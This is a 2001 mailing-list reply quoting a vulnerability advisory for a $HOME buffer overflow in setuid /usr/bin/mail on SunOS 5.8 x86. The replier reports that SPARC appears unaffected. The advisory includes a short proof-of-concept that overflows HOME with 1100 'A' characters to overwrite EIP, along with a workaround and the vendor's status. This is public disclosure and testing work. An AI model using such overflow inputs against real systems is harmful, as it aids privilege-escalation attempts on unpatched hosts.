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Re: $HOME buffer overflow in SunOS 5.8 x86
From: "Juergen P. Meier" <jpm () class de>
Date: Tue, 5 Jun 2001 15:33:05 +0200

On Mon, Jun 04, 2001 at 06:14:30PM +0300, Georgi Guninski wrote:
$HOME buffer overflow in SunOS 5.8 x86
Systems affected:
SunOS 5.8 x86 have not tested on other OSes
Risk: Medium
Date: 4 June 2001

Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C
eip gets smashed with 0x41414141.

0:jpmeier () sol:~> HOME=`perl -e 'print "A"x1100'` ; export HOME
0:jpmeier () sol:/home/jpmeier> mail a
^Cmail: Mail saved in dead.letter
1:jpmeier () sol:/home/jpmeier> uname -a
SunOS sol 5.8 Generic_108528-04 sun4u sparc SUNW,Ultra-5_10

also tried larger buffers.

Solaris/sparc appears not vulnerable. Maybe its an x86 bug only
 
Workaround:
chmod -s /usr/bin/mail
Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.

juergen

-- 
Juergen P. Meier                        email: jpm () class de


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